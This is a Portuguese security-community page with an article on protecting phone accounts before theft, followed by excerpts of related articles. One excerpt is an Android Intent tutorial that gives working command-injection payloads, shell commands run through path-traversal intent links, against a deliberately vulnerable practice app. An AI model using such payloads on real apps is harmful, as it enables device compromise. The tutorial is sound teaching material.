Jump to content
  • O que fazer antes que seu celular seja roubado

       (5 reviews)

    Fernando Mercês
     Share

    Essa é uma história verídica: Tive o celular (um iPhone 7) furtado no último fim de semana e houve tentativas, afortunadamente sem sucesso, de hackear minhas contas. Nesse artigo vou explicar como me protegi, na esperança de que você se proteja também. Isso antes que tenha o celular roubado, furtado ou perdido. 😉

    Após perceber que meu celular não estava no meu bolso comecei a dar valor a todas as ações de proteção que tomei. Consegui ligar para o Nubank, que cancelou o cartão (pois é, eu colei aquele lindo porta cartão roxo que eles mandam na traseira do celular e por isso foi tudo junto: celular e cartão de crédito). Por um momento pensei que para cancelar o cartão do Nubank eu precisaria do aplicativo do mesmo, mas eles possuem um número que podemos ligar. E você consegue cancelar seu cartão após confirmar alguns dados. Nota importante: você precisa estar sóbrio o suficiente para confirmar seus dados. Não entrarei em detalhes aqui como fiz.

    O telefone estava bloqueado com um código numérico de 6 dígitos (padrão nas últimas versões do iOS). E não era nada do tipo "000000" ou "123456". Dá um negócio escrever isso. Na verdade, gostaria de escrever que meu código era alfanumérico (que é mais seguro, em geral), mas não era. Mesmo assim, era "aleatório" o suficiente, creio eu, então confiei que o ladrão não conseguiria desbloquear o aparelho. Como todos os dedos de ambas as minhas mãos estavam no lugar, achei que o ladrão também não tinha minhas digitais para tentar o Touch ID. 😎

    Ao chegar em casa, fiz login no iCloud utilizando meu Apple ID para usar o Find My iPhone, que estava ativado. A última localização conhecida foi onde eu estava mesmo, ou seja, o danado desligou o telefone, removeu o chip ou fez alguma outra coisa para que este ficasse sem sinal.

    Também recebi o seguinte e-mail do Facebook:

    fb.png.f63aa56dfabbe0b5930c03bfae911eb3.png
    E-mail do Facebook para confirmação de alteração de senha

    Ou seja, o abençoado tentou resetar minha senha do Facebook. Como? Bom, o aplicativo do Facebook para iOS não pede senha ao abrir, então deduzi que o ladrão não tinha conseguido desbloquear o telefone. Cliquei no link "avise-nos" destacado no fim da mensagem, verificando que era do Facebook mesmo, só para bloquear novas tentativas.

    Daí vem minha primeira hipótese: o ladrão queria tomar minha conta do Facebook. Como no Facebook é possível logar via número de telefone, imagino que ele tenha removido o chip do telefone, posto em outro para ver o número e tentado resetar a senha pelo site do Facebook, bastando apenas para isso ter o meu número:

    fb-reset.png.b4cebbca6da04f874e243fad323850ed.png
    Tela de recuperação de senha por número de telefone no Facebook (não é exigido nome de usuário)

    Não sei como pretendiam clicar no link que chega no meu e-mail. Talvez esperassem que a confirmação chegasse via SMS.

    Fiz um boletim de ocorrência no site da Polícia Civil e marquei a caixa que os autoriza a bloquear o IMEI do telefone, para que este se torne inútil. Pois é, eu tinha o IMEI e o número de série (ambos necessários para o bloqueio pela polícia) anotados. Também liguei para a operadora e pedir para bloquear o chip.

    O golpe comum no Brasil de colocar o chip em outro aparelho e começar a falar no WhatsApp com seus amigos e familiares pedindo dinheiro se passando por você também não rolou, pois minha conta do WhatsApp era protegida por um PIN, que é a autenticação de dois fatores do WhatsApp.

    Vamos às dicas para cada momento:

    Enquanto seu celular está com você:

    1. Anote marca, modelo, IMEI e número de série do seu aparelho em algum lugar. Também o PIN e PUK do chip (vem no cartão). Pode ser mandando um e-mail para você mesmo e deixando-o lá para sempre.
    2. Utilize um bom código alfanumérico (letras e números). Nada de padrões de desenho (em Android) ou códigos numéricos como "1234", "0000" ou afins. Jamais use um telefone sem código de bloqueio.
    3. Utilize autenticação de dois fatores em todas as suas contas de redes sociais e serviços de Internet (Facebook, Instagram, Gmail, etc), mas nunca por SMS, pois eles têm acesso ao chip quando obtêm seu telefone! Use sempre por aplicativo (recomendo o Authy porque você pode usar no desktop e no celular (e em outros dispositivos) - aí se perder o celular você ainda tem o app no desktop pra te dar os tokens).
    4. Imprima os códigos de recuperação do aplicativo de autenticação de dois fatores escolhido no passo acima e guarde em casa, porque com o celular você perde o aplicativo de autenticação de dois fatores junto!
    5. Habilite a autenticação de dois fatores (via PIN) no aplicativo do WhatsApp (Ajustes -> Conta -> Confirmação em duas etapas). Do contrário você pode ser vítima do golpe de falsidade ideológica que comentei no texto.
    6. Sempre habilite o Touch ID, reconhecimento facial ou senha para todos os aplicativos que suportam. Normalmente os de banco suportam. Para e-mails, sei que o Outlook suporta. Para notas, o Evernote suporta (o que o deixa mais seguro que o aplicativo de notas padrão do telefone). O WhatsApp também suporta. Dessa forma, mesmo que o gatuno roube seu telefone desbloqueado, não verá seu e-mail e não acessará os apps dos bancos.
    7. Habilite o PIN do chip (no iPhone esta configuração fica em Ajustes -> Celular -> PIN do SIM). Dessa forma, será solicitada uma senha quando o meliante colocar seu chip em outro aparelho. Lembrando que o chip já vem com um PIN da operadora, que você vai precisar para alterar. Os padrões são Vivo: 8486; TIM: 1010; Claro: 3636; Oi: 8888 mas o correto mesmo é ver no cartão do qual o chip é destacado quando vem. Todo cuidado é pouco aqui, pois é muito fácil bloquear o chip ao tentar desbloqueá-lo incorretamente 3 vezes. Aí só ligando pra operadora, ou usando o PUK para desbloquear.
    8. Desabilite a visualização de SMS na tela bloqueada (para que o conteúdo do SMS não seja mostrado). É uma boa ideia desabilitar quaisquer outras notificações também, ou pelo menos previnir que seu conteúdo seja exibido na tela bloqueada.
    9. Desabilite a Siri (iOS) na tela bloqueada (Ajustes -> Siri -> Permitir Quando Bloqueado). Do contrário, basta que alguém pergunte "Qual o meu nome?" para saber seu nome, telefone, empresa (dependendo do que constar no seu contato), como mostra a captura de tela abaixo:

    siri-leak.png.5941176c63ada76234a82735738be8e8.png
    Siri entregando seus dados pra qualquer um

    Também é possível pedir à Siri para "Mostrar ligações perdidas". A ordinária vai mostrar a última ligação perdida somente, mas é possível inclusive retornar a ligação, mesmo com a tela bloqueada:

    calls.jpg.a9fa599f54938a8ed45f9a5d71267b30.jpg
    Siri mostrando quem te ligou e permitindo retornar 

    As medidas acima você deve tomar agora que tem seu telefone com você, pois todo cuidado é pouco. Vale ressaltar que os ladrões de rua, os "mão leve" podem não ser especialistas em TI, mas certamente existe um "departamento de TI do crime" onde eles levam estes celulares roubados e lá pessoas que entendem do assunto tentam hackear suas contas.

    Se todas essas medidas forem tomadas, acho que você pode ficar tranquilo como eu fiquei. Pra ser honesto, eu não segui a recomendação de número 7, sobre o PIN do chip e só por isso conseguiram meu número pra tentar resetar a senha do Facebook. Mesmo assim não rolou, pois meu 2FA no Facebook era via app, não SMS (isso porque segui bem a recomendação de número 3) mas serviu pra ver onde vacilei.

    Depois de ser roubado/furtado ou perder o celular:

    Se você desconfia que perdeu o celular (não é roubo, nem furto), pode tentar localizar o aparelho, mas tenha em mente que quanto mais tempo você deixar o chip habilitado, mais tempo os bandidos têm para tentar as fraudes. Já aconteceu de eu perder o celular e só conseguir ligar pra ele dois dias depois, pois quem achou não tinha um carregador de iPhone à mão. Se eu tivesse bloqueado o aparelho ou o chip, não conseguiria ligar. Então aqui é sempre delicado. Depende do que rolou e o do nível de risco que você quer assumir (sinta em seu coração), mas:

    1. Ligue para a sua operadora e informe o ocorrido. Eles vão bloquear o chip.
    2. Cancele seus cartões de crédito (há casos em que ladrões utilizaram Apple Pay e similares para fazer compras ou mesmo pediram comida em apps como iFood e Uber Eats).
    3. Faça um boletim de ocorrência na delegacia mais próxima ou pela Internet. Você vai precisar dos dados lá do passo 1 do que fazer enquanto seu celular está com você.
    4. Desconecte o dispositivo das suas contas de e-mail, redes sociais e outros serviços (é impossível enumerar todos, mas serviços comuns são Gmail, Facebook, Instagram, Twitter, Spotify, etc).
    5. Programe a deleção dos dados pelo site do fabricante (Google, Apple, etc).

    No novo telefone:

    Se não teve jeito e você comprou um telefone novo, tudo bem. Vida nova. Só fica esperto porque se você fizer mantiver o mesmo número, os criminosos podem tentar entrar em contato via ligação, SMS, WhatsApp, iMessage, etc se passando pela fabricante do telefone, dizendo que o acharam e pedindo as credenciais do iCloud, por exemplo. Com elas, é possível desbloquear o telefone roubado. Não caia nessa. 😉

    Roubo, perda e furto de telefones são muito comuns em grandes cidades. É importante que você seja precavido. Quem tiver outras dicas, só postar nos comentários que incorporo aqui. Se quiser me contar como fazer pra Android as configurações acima, comenta aí também. Ah, depois de fazer tudo isso no seu telefone, seja um bom amigo e compartilhe este artigo com todo mundo que tem um smartphone pelo bem da nação. 🙏

    Atualização em 16/1/2020 - Recomendei o Evernote para notas, pois tem suporte à autenticação quando o aplicativo é aberto. Também mencionei que é possível configurar isso no WhatsApp.

    Atualização em 16/5/2019 - Adicionei uma captura de tela da Siri entregando quem te ligou e recomendei o Authy expressamente, pois parece ser realmente melhor que Duo Mobile e Google Authenticator, já que pode ser utilizado em vários dispositivos (incluindo no desktop) e possui suporte ao Touch ID.

     


     Share


    User Feedback

    Join the conversation

    You can post now and register later. If you have an account, sign in now to post with your account.
    Note: Your post will require moderator approval before it will be visible.

    Guest

    • This will not be shown to other users.
    • Add a review...

      ×   Pasted as rich text.   Paste as plain text instead

        Only 75 emoji are allowed.

      ×   Your link has been automatically embedded.   Display as a link instead

      ×   Your previous content has been restored.   Clear editor

      ×   You cannot paste images directly. Upload or insert images from URL.


    thiagovb

       5 of 5 members found this review helpful 5 / 5 members

    Ótimo artigo pois hoje em dia muitas pessoas não sabem o que fazer quando tem seu celular roubado ou furtado, e esse artigo vem justamente pra dar um norte do que fazer. Parabéns!

    Link to review
    Share on other sites

    g.salles2

       1 of 1 member found this review helpful 1 / 1 member

    Muuito boa ?

    Link to review
    Share on other sites

    Guest walber

       1 of 1 member found this review helpful 1 / 1 member

    Muito bom!!! Pena que 70% da população não se liga nessas precauções.

    Link to review
    Share on other sites

    bratergames

      

    Bom eu levei o meu telefone na assistência técnica e ele veio com a bateria zerada, como o telefone é antigo eu não posso saber se a pessoa trocou a bateria, fui ligar na autorizada para comprar nova bateria e o atendente queria saber o tipo de telefone e também o IMEI do telefone, me parece que o crime é algo comum na área de celulares.

    Link to review
    Share on other sites


  • Similar Content

    • By Jordan Bonagura
      Este artigo objetiva demonstrar, de maneira simplificada, diferentes abordagens para interceptação e captura de dados de tráfego de rede originários de um dispositivo iPhone, da Apple. Na verdade o iPhone não é o único dispositivo sujeito a estas abordagens, assim como as estratégias aqui apresentadas não são as únicas capazes de realizar tais interceptações, então é possível usar este conteúdo para muitas outras aplicações, mas vou focar no iPhone por agora. 🙂
      A maneira mais simples de capturar o tráfego de rede de um iPhone é utilizando um servidor proxy. Na primeira parte deste artigo, adotaremos o Burp Suite para exemplificar este funcionamento. Após a coleta dos dados, analisaremos os pacotes de uma aplicação específica e a suas conexões com serviços web.
      Caso o objetivo seja uma análise mais detalhada do tráfego de uma aplicação que utilize outras tipos de comunicação que não somente requisições web, podemos diversificar a estratégia e utilizar uma interface de rede virtual (RVI), conforme demonstraremos na segunda parte deste artigo.
      Parte 1 - Utilizando um servidor proxy - Burp Suite
      Quando mencionamos a utilização de um servidor proxy, estamos basicamente nos referindo a interceptar e analisar solicitações relacionadas ao protocolo HTTP (HyperText Transfer Protocol), seja este com a camada de segurança TLS (Transport Layer Security) ou não.
      Algumas das aplicações que temos em nossos smartphones ainda utilizam somente o protocolo HTTP, o que significa dizer que os dados trafegam na forma de texto puro, ou seja, sem qualquer criptografia, fazendo com que informações sensíveis fiquem totalmente expostas a qualquer atacante que adotar técnicas de interceptação.
      Para configuração de nosso proxy o primeiro passo é abrirmos o Burp Suite. Por padrão, a interface em que ele escuta é a local (127.0.0.1) na porta 8080, conforme podemos verificar na imagem abaixo:

      Figura 1 - Interface padrão de escuta do Burp Suite
      No Burp Suite, toda captura está por padrão relacionada a máquina local, porém para executarmos nossa estratégia de interceptação dos dados que chegarão ao nosso servidor por meio do iPhone, precisaremos adicionar o IP interno da máquina local no campo Specific address:

      Figura 2 - Mudando a interface de escuta do Burp Suite
      Veja que neste caso adotamos o endereço IP 192.168.1.102 e a porta 8081.
      Uma vez o Burp Suite configurado, vamos ao iPhone:

      Figura 3 - Habilitando o uso de um servidor proxy no iPhone
      Perceba que o endereço IP associado ao iPhone não tem relação alguma com o servidor proxy, porém é óbvio que terão que estar na mesma rede para que o tráfego possa ser capturado. 😉

      Figura 4 - Configurações de proxy no iPhone
      Assim que finalizamos a configuração do iPhone para utilizar o Burp Suite como o nosso servidor proxy, já podemos ver alguns pacotes. Isso ocorre pois diversas aplicações ficam rodando em background, normalmente atualizações, updates de e-mails, entre outros.
      Abaixo temos um exemplo de pacote interceptado com o método POST do HTTP em conexão com o office365.com para atualização de e-mail. Reparem que o DeviceType já é identificado como sendo um iPhone.

      Figura 5 - Tráfego recebido pelo Burp Suite
      Para demonstração foi utilizado um aplicativo real da área da saúde, mais precisamente de uma empresa de assistência médica. Por questões éticas, ocultei os dados.
      Podemos analisar que quando abrimos o aplicativo em nosso smartphone, já são executadas chamadas à API num servidor para troca de informações e com isto já visualizamos os pacotes conforme imagem abaixo:

      Figura 6 - Chamadas à API capturadas pelo Burp Suite
      Apesar de ser uma aplicação de necessidade de alto nível de sigilo de informações, os dados são trafegados em texto puro, ou seja, sem nenhuma criptografia envolvida. 😞
      Conforme podemos verificar na imagem abaixo, não estamos ainda falando de credenciais de acesso, mas de todo modo são dados sensíveis, como por exemplo o número de beneficiário e telefone.

      Figura 7 - Dados sensíveis exibidos no Burp Suite
       
      Infelizmente, nesta aplicação não só os dados sensíveis anteriormente destacados são trafegados em texto plano, mas as credenciais de acesso (usuário e senha) também. Veja:
       
      Figura 8 - Credenciais em texto plano capturadas pelo Burp Suite
      Isso significa dizer que se um atacante estiver na conectado na mesma rede que nós, por exemplo uma rede wifi aberta (sem criptografia) de aeroporto, cafeteria e afins, e estivesse rodando um analisador de tráfego como este, poderia ter acesso à nossas credenciais como nome de usuário e senha. 😬
      Parte 2 - Utilizando uma interface de rede virtual (RVI) - Wireshark
      Uma outra abordagem que pode ser as vezes mais interessante é poder analisar todo o tráfego de rede que ocorre entre o dispositivo iPhone e os servidores das aplicações, agora não mais focado somente em aplicações e requisições web (HTTP), mas sim em diferentes protocolos, como por exemplo o bom e velho MSN para fins de aprendizagem, onde é possível analisar os pacotes MSNP trafegando pela rede, bem como conexões com outros dispositivos mais simples que utilizam o protocolo SNMP, por exemplo. Não há limites. 🙂
      Iniciamos com a conexão do nosso iPhone via USB ao computador que rodará o Wireshark para a coleta dos dados. Na sequência, realizaremos a criação da RVI (Remote Virtual Interface) onde necessitaremos passar como parâmetro o UUID (Universal Unique Identifiers) do iPhone. Vale lembrar que é possível obter o UUID com qualquer sistema operacional, já para criar a RVI executei o teste somente em macOS. Deixo para você verificar se é possível fazê-lo em outros sistemas, caso queira.
      Pelo próprio Finder do macOS é possível descobrir o UUID do aparelho, basta clicar no nome do dispositivo conectado e surgirá a informação conforme imagem abaixo:

      Figura 9 - UUID exibido no Finder
      Tendo o UUID do aparelho e estando este conectado, se faz necessário ativar a interface virtual (RVI), através do seguinte comando:

      Figura 10 - Criando uma RVI no shell do macOS
      Após recebermos a mensagem de sucesso como acima, estamos com a interface ativada e então poderemos seguir para a abertura do analisador de tráfego de rede Wireshark e selecionar a interface rvi0.

      Figura 11 - Escolha da interface para captura no Wireshark (no macOS)
      Nesta abordagem, e até para fins de comparação com a anterior, adotamos o mesmo aplicativo da área da saúde e aplicamos um filtro básico ip.src == 192.168.1.23 para facilitar a visualização somente de pacotes que têm o IP de origem do iPhone.
      É possível visualizarmos protocolos de diferentes camadas do modelo OSI. Neste exemplo, temos protocolos da camada de transporte (TCP) como também da camada de aplicação (HTTP) como pode ser visto na imagem abaixo:

      Figura 12 - Pacotes capturados pelo Wireshark
      Analisando somente os pacotes HTTP, é possível analisar as mesmas informações que visualizamos anteriormente no Burp Suite.
      Portanto, se abrirmos o conteúdo de nosso pacote selecionado, teremos também todas as informações de credenciais anteriormente demonstradas, conforme imagem abaixo:
       
      Figura 13 - Credenciais em texto plano capturadas pelo Wireshark
      Conclusão
      Pudemos verificar que existem diferentes abordagens em relação a captura de tráfego de dados de um iPhone. Na primeira parte, demonstramos a técnica com a adoção de um servidor proxy (Burp Suite), onde foi possível analisar os pacotes relacionados a requisições web. Esta técnica é de mais fácil implementação, porém muitas vezes limitada, pois como discutimos anteriormente trabalha basicamente com protocolos HTTP/HTTPS.
      Já na segunda parte, demonstramos uma análise de maior amplitude onde foi possível verificar que protocolos de diferentes camadas também podem ser analisados, portanto, a depender do objetivo almejado e/ou da forma de comunicação da aplicação, esta abordagem pode ser mais adequada.
      Vale lembrar que ambas as técnicas são complementares, portanto, dependendo do objetivo final de análise da aplicação, ambas podem ser combinadas.
      O caminho das pedras para a configuração do ambiente de captura está aí, agora é contigo em seguir para a análise aprofundada de suas aplicações. 🤗
      Stay Safe!
    • By caioluders
      Esse artigo tem como objetivo introduzir as vulnerabilidades que ocorrem no Android por meio do abuso de Intents. Tentarei ser o mais introdutório possível e listarei todas as referências necessárias, para ajudar caso algum conceito pareça muito avançado. Será utilizado o aplicativo InjuredAndroid como exemplo de apk vulnerável. 541v3 para os companheiros da @duphouse! Sem eles esse texto não seria possível.
      Para mais conteúdos em português, recomendo a série de vídeos do Maycon Vitali sobre Android no geral, assim como a minha talk na DupCon com vulnerabilidades reais. Existe também o @thatmobileproject para posts sobre segurança em mobile.
      intent://
      Os Intents funcionam como a principal forma dos aplicativos se comunicarem internamente entre si. Por exemplo, se um aplicativo quer abrir o app InjuredAndroid ele pode iniciar-lo por meio de um Intent utilizando a URI flag13://rce. Abaixo um exemplo de código que realiza tal ação:
      Intent intent = new Intent(); intent.setData(Uri.parse("flag13://rce")); startActivity(intent); Além de aceitar todos os elementos de uma URI (scheme, host, path, query, fragment), um Intent também pode levar dados fortemente tipados por meio dos Intent Extras. Na prática, queries e extras são as formas mais comuns de passar dados entre os aplicativos. Eles serão discutidos com exemplos mais adiante.
      <intent-filter>
      Como o Android sabe a qual aplicativo se refere flag13://rce? O InjuredAndroid define um Intent Filter que diz quais tipos de Intent o Sistema Operacional deve enviar para ele. O Intent Filter é definido no AndroidManifest.xml.
      Vamos analizar a definição do Intent Filter relacionado a flag13://rce: https://github.com/B3nac/InjuredAndroid/blob/master/InjuredAndroid/app/src/main/AndroidManifest.xml
      <activity     android:name=".RCEActivity"     android:label="@string/title_activity_rce"     android:theme="@style/AppTheme.NoActionBar">     <intent-filter android:label="filter_view_flag11">         <action android:name="android.intent.action.VIEW" />         <category android:name="android.intent.category.DEFAULT" />         <category android:name="android.intent.category.BROWSABLE" />         <!-- Accepts URIs that begin with "flag13://” -->         <data             android:host="rce"             android:scheme="flag13" />     </intent-filter> </activity> O atributo name define qual Activity será inicializada. Como ele começa com ponto, o nome é resolvido para package+.RCEActivity = b3nac.injuredandroid.RCEActivity. Dentro do <intent-filter>, a action se refere ao tipo de ação que será executada. Existe uma miríade de tipos de ações que são definidas na classe Intent, porém, na maioria das vezes é utilizada a action padrão android.intent.action.VIEW.
      O elemento category contém propriedades extras que definem como o Intent vai se comportar. O valor android.intent.category.DEFAULT define que essa Activity pode ser inicializada mesmo se o Intent não tiver nenhum category. O valor android.intent.category.BROWSABLE dita que a Activity pode ser inicializada pelo browser. Isso é super importante pois transforma qualquer ataque em remoto. Por exemplo, supondo que o usuário entre em um site malicioso, esse site consegue inicializar um Intent que abre o App apenas se o Intent Filter tiver a propriedade BROWSABLE.
      A tag data especifica quais URLs vão corresponder com esse Intent Filter, no nosso caso, o scheme tem que ser flag13 e o host igual a rce, ficando flag13://rce. Todas as partes da URI como path, port, etc. podem ser definidas.

      flag13://rce
      Agora que entedemos como Intents e Intents Filters funcionam, vamos procurar alguma vulnerabilidade no flag13://rce (O "rce" ficou meio óbvio né). 🤷‍♂️
      Vejamos um trecho do código-fonte da Activity b3nac.injuredandroid.RCEActivity:
      49 if (intent != null && intent.data != null) { 50     copyAssets() 51     val data = intent.data 52     try { 53         val intentParam = data!!.getQueryParameter("binary") 54         val binaryParam = data.getQueryParameter("param") 55         val combinedParam = data.getQueryParameter("combined") 56         if (combinedParam != null) { 57             childRef.addListenerForSingleValueEvent(object : ValueEventListener { 58                 override fun onDataChange(dataSnapshot: DataSnapshot) { 59                     val value = dataSnapshot.value as String? 60                     if (combinedParam == value) { 61                         FlagsOverview.flagThirteenButtonColor = true 62                         val secure = SecureSharedPrefs() 63                         secure.editBoolean(applicationContext, "flagThirteenButtonColor", true) 64                         correctFlag() 65                     } else { 66                         Toast.makeText(this@RCEActivity, "Try again! :D", 67                                 Toast.LENGTH_SHORT).show() 68                     } 69                 } 70 71                 override fun onCancelled(databaseError: DatabaseError) { 72                     Log.e(TAG, "onCancelled", databaseError.toException()) 73                 } 74             }) 75         } A Activity é inicializada na função onCreate e é lá que o Intent será devidamente tratado. Na linha 49 o aplicativo checa se intent é nulo. Se não for, ele irá pegar algumas queries binary, param e combined. Se combined for nulo ele não entrará no if da linha 56 e irá para o seguinte else:
      76 else { 77 78     val process = Runtime.getRuntime().exec(filesDir.parent + "/files/" + intentParam + " " + binaryParam) 79     val bufferedReader = BufferedReader( 80             InputStreamReader(process.inputStream)) 81     val log = StringBuilder() 82     bufferedReader.forEachLine { 83         log.append(it) 84     } 85     process.waitFor() 86     val tv = findViewById<TextView>(R.id.RCEView) 87     tv.text = log.toString() 88 } Na linha 78, são passadas para a função Runtime.getRuntime().exec() as variáveis intentParam e binaryParam. Como essa função executa comandos no sistema, logo temos um Command Injection através do Intent. Vamos tentar explorá-lo! 😈
      Normalmente, num Command Injection, tentaríamos passar algum caractere para executar outro commando, como &, /, |, / ou ;, porém se tentarmos desse jeito o Android emitirá um erro referente à primeira parte do comando em filesDir.parent + "/files/", pois não encontrará o arquivo, ou dará erro de permissão e não executará o resto do nosso payload. Para resolvermos esse problema podemos subir de nível na estrutura de diretórios com ../ até chegarmos no diretório root (raiz), a partir daí podemos executar o /system/bin/sh e executar qualquer comando que quisermos.
      Nossa PoC terá os seguintes passos :
      Alvo clica num link malicioso. Browser abre um Intent para b3nac.injuredandroid.RCEActivity. A Activity RCEActivity executa o comando do atacante. Nosso index.html ficaria assim:
      <a href="flag13://rce?binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27&param=1">pwn me</a> Deixo de tarefa de casa exfiltrar o resultado do comando, ou abrir uma reverse shell no Android. 😉
      S.Intent_Extras
      Agora digamos que ao invés de receber as variáveis via query, o App as recebesse via Intent Extras, como fazer? Para criar um Intent com Extras apenas usamos a função putExtra.
      Intent intent = new Intent(); intent.setData(Uri.parse("flag13://rce")); intent.putExtra("binary","../../../../../system/bin/sh -c 'id'"); intent.putExtra("param","1"); startActivity(intent); Ok, com isso conseguimos passar Intents Extras por meio de outro App, mas e pelo Browser? Nós podemos utilizar o scheme intent:// para isso! O Intent referente ao código acima ficaria assim :
      <a href="intent://rce/#Intent;scheme=flag13;S.binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27;S.param=1;end">pwn me</a> Note que primeiro vem o scheme intent://, depois o host rce e logo após a string #Intent, que é obrigatória. A partir daí todas as variáveis são delimitadas por ;. Passamos o scheme=flag13 e definimos os Extras. O nome do Extra é precedido do tipo dele. Como o Extra binary é do tipo String, ele é definido com S.binary.
      Os Extras podem ter vários tipos. Como a documentação do scheme intent:// é escassa, o melhor jeito é ler o código fonte do Android que faz o parsing dele, com destaque para o seguinte trecho:
      if      (uri.startsWith("S.", i)) b.putString(key, value); else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value)); else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value)); else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0)); else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value)); else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value)); else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value)); else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value)); else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value)); else throw new URISyntaxException(uri, "unknown EXTRA type", i); ;end
      Podem existir vários tipos de vulnerabilidades oriundas dos Intents, incluindo RCE/SQLi/XSS ou até Buffer Overflow. Só vai depender da criatividade do desenvolvedor.
      Para estudar esse assunto mais a fundo, recomendo a leitura do blog do @bagipro_ (em Inglês) e dos reports públicos de Bug Bounty, também em Inglês.
      Uma outra observação é que além do InjuredAndroid, você também pode brincar com o Ovaa.
      |-|4ck th3 |>l4n3t 
      @caioluders
    • By Bruna Chieco
      Os analistas de malware do Doctor Web descobriram aplicativos maliciosos no Google Play que roubam logins e senhas de usuários do Facebook. Esses cavalos de Troia (trojans) foram espalhados como softwares inofensivos e instalados mais de 5.856.010 vezes, dizem os pesquisadores.
      Os aplicativos maliciosos foram detectados com os nomes Android.PWS.Facebook.13, Android.PWS.Facebook.14, Android.PWS.Facebook.17 ou Android.PWS.Facebook.18, de acordo com a empresa. Todas são pequenas variações do mesmo código. No total, os especialistas descobriram 10 desses aplicativos de trojan, sendo que nove estavam disponíveis no Google Play. Veja abaixo quais são os apps:
      Software de edição de fotos Processing Photo. Ele é detectado pelo Dr.Web Anti-Virus como Android.PWS.Facebook.13 e foi espalhado pelo desenvolvedor chikumburahamilton, sendo instalado mais de 500 mil vezes; Aplicativos que permitiam limitações de acesso para usar outro software instalado em dispositivos Android: App Lock Keep do desenvolvedor Sheralaw Rence, App Lock Manager do desenvolvedor Implummet col e Lockit Master do desenvolvedor Enali mchicolo – todos detectados como Android.PWS.Facebook.13. Eles foram baixados pelo menos 50 mil, 10 e 5 mil vezes, respectivamente; Limpador de lixo do desenvolvedor SNT.rbcl – um utilitário para otimizar o desempenho do dispositivo Android. Ele foi baixado mais de 100 mil vezes. O Dr.Web o detecta como Android.PWS.Facebook.13.; Programas de astrologia Horoscope Daily do desenvolvedor HscopeDaily momo, e Horoscope Pi do desenvolvedor Talleyr Shauna, também detectados como Android.PWS.Facebook.13. O primeiro teve mais de 100 mil instalações, enquanto o último, mais de mil instalações; Programa de condicionamento físico chamado Inwell Fitness e detectado como Android.PWS.Facebook.14 do desenvolvedor Reuben Germaine. Possui mais de 100 mil instalações; Aplicativo de edição de imagens chamado PIP Photo foi divulgado pela desenvolvedora Lillians. Suas várias versões são detectadas como Android.PWS.Facebook.17 e Android.PWS.Facebook.18. Este aplicativo tem mais de 5 milhões de downloads. Após o relatório dos especialistas do Doctor Web ao Google, parte desses aplicativos maliciosos foi removida do Google Play.
    • By Bruna Chieco
      O Google anunciou nesta quinta-feira, 6 de maio, uma nova seção de segurança no Google Play que tem o objetivo de ajudar as pessoas a entender os dados que um aplicativo coleta ou compartilha, se esses dados estão protegidos, e detalhes adicionais que afetam a privacidade e a segurança.
      "Trabalhamos em estreita colaboração com os desenvolvedores para manter o Google Play um espaço seguro e confiável para bilhões de pessoas aproveitarem os aplicativos Android mais recentes", diz Suzanne Frey, VP de produtos, segurança e privacidade Android, em publicação no Droid News.
      Segundo Suzanne, os desenvolvedores de apps querem maneiras simples de comunicar a segurança do aplicativo, que sejam fáceis de entender e ajudem os usuários a fazer escolhas informadas sobre como seus dados são tratados. Ela afirma que os desenvolvedores também desejam fornecer contexto adicional para explicar o uso de dados e como as práticas de segurança podem afetar a experiência do aplicativo. 
      Para isso, além dos dados que um aplicativo coleta ou compartilha, o Google introduziu na seção de segurança informações se:
      O aplicativo tem práticas de segurança, como criptografia de dados; O aplicativo segue a política do Google para famílias; O aplicativo precisa desses dados para funcionar ou os usuários têm a opção de compartilhá-los; A seção de segurança do aplicativo é verificada por um terceiro independente; O aplicativo permite que os usuários solicitem a exclusão de dados, se decidirem desinstalá-lo. O Google pedirá ainda que os desenvolvedores que compartilhem:
      Que tipo de dados são coletados e armazenados. Entre eles, opções potenciais são localização aproximada ou precisa, contatos, informações pessoais (por exemplo, nome, endereço de e-mail), fotos e vídeos, arquivos de áudio e arquivos de armazenamento; Como os dados são usados (por exemplo, para funcionalidade e personalização do aplicativo). Semelhante aos detalhes do aplicativo, como capturas de tela e descrições, os desenvolvedores são responsáveis pelas informações divulgadas em sua seção. O Google Play apresentará uma política que exige que eles forneçam informações precisas, e caso um desenvolvedor tenha deturpado os dados que forneceu, violando a política, o Google pedirá a correção do problema. Os aplicativos que não forem compatíveis estarão sujeitos à aplicação de políticas, diz Suzanne.
      Todos os aplicativos do Google Play, incluindo os próprios aplicativos do Google, serão obrigados a compartilhar essas informações e fornecer uma política de privacidade. "Estamos empenhados em garantir que os desenvolvedores tenham muito tempo para se preparar", destaca Suzanne, informando que a partir do segundo trimestre de 2022, os novos envios e atualizações de aplicativos já devem incluir essas informações.
    • By Bruna Chieco
      Pesquisadores descobriram um novo conjunto de aplicativos falsos para Android na Google Play Store. Os apps sequestram notificações de mensagens SMS para realizarem fraudes de faturamento, segundo informações do The Hacker News.
      Os aplicativos em questão tem como alvo principal usuários no sudoeste da Ásia e na Península Arábica, atraindo um total de 700 mil downloads antes de serem descobertos e removidos da plataforma. As descobertas foram relatadas de forma independente pelas empresas de segurança Trend Micro e McAfee.
      Se passando por apps de editores de fotos, papéis de parede, quebra-cabeças, e outros aplicativos relacionados a câmeras, eles possuem um malware embutido que sequestra notificações de mensagens SMS e, em seguida, faz compras não autorizadas, disseram pesquisadores.
      Os aplicativos falsos aparentemente pertencem ao malware Joker (também conhecido como Bread). A McAfee, no entanto, está rastreando a ameaça com um apelido separado chamado Etinu. O malware é conhecido por realizar fraudes de faturamento, roubando de mensagens SMS, listas de contato e informações do dispositivo. 
      Os autores de malware normalmente empregam uma técnica chamada controle de versão, que se refere ao upload de uma versão limpa do aplicativo na Play Store para criar confiança entre os usuários e, em seguida, adicionam sorrateiramente um código malicioso por meio de atualizações do aplicativo, em uma tentativa de escapar do processo de revisão do app na loja.
×
×
  • Create New...